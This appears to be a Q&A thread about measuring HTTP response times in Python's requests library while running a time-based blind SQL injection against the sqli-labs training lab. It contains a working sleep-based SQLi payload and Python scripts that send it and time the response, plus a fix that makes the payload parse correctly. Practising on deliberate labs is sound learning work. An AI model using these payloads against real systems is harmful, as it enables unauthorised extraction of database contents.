Measuring the HTTP response time with requests library in Python. Am I doing it right?

Question

I am trying to induce an artificial delay in the HTTP response from a web application (This is a technique used to do blind SQL Injections). If the below HTTP request is sent from a browser, response from the web server comes back after 3 seconds(caused by sleep(3)):

http://192.168.2.15/sqli-labs/Less-9/?id=1'+and+if+(ascii(substr(database(),+1,+1))=115,sleep(3),null)+--+

I am trying to do the same in Python 2.7 using the requests library. The code I have is:

import requests payload = {"id": "1' and if (ascii(substr(database(), 1, 1))=115,sleep(3),null) --+"} r = requests.get('http://192.168.2.15/sqli-labs/Less-9', params=payload) roundtrip = r.elapsed.total_seconds() print roundtrip

I expected the roundtrip to be 3 seconds, but instead I get values 0.001371, 0.001616, 0.002228, etc. Am I not using the elapsed attribute properly?

SchnellAdvice · Accepted Answer · 2022-05-24 15:40:21Z

elapsed measures the time between sending the request and finishing parsing the response headers, not until the full response has been transferred.

If you want to measure that time, you need to measure it yourself:

import requests import time payload = {"id": "1' and if (ascii(substr(database(), 1, 1))=115,sleep(3),null) --+"} start = time.time() r = requests.get('http://192.168.2.15/sqli-labs/Less-9', params=payload) roundtrip = time.time() - start print roundtrip

Correct me if I'm wrong: requests.get is a blocking call, so having r.content is not really necessary to "wait until full content has been transferred"
@dv3, yes, you're right, unless you use stream=True (default is False) the content will be downloaded immediately, otherwise get() returns when when the headers have been received.

user1720897 · Accepted Answer · 2015-05-26 06:40:13Z

I figured out that my payload should have been

payload = {"id": "1' and if (ascii(substr(database(), 1, 1))=115,sleep(3),null) -- "}

The last character '+' in the original payload is getting passed to the back end database, which results in an invalid SQL syntax. I shouldn't have done any manual encoding in the payload.

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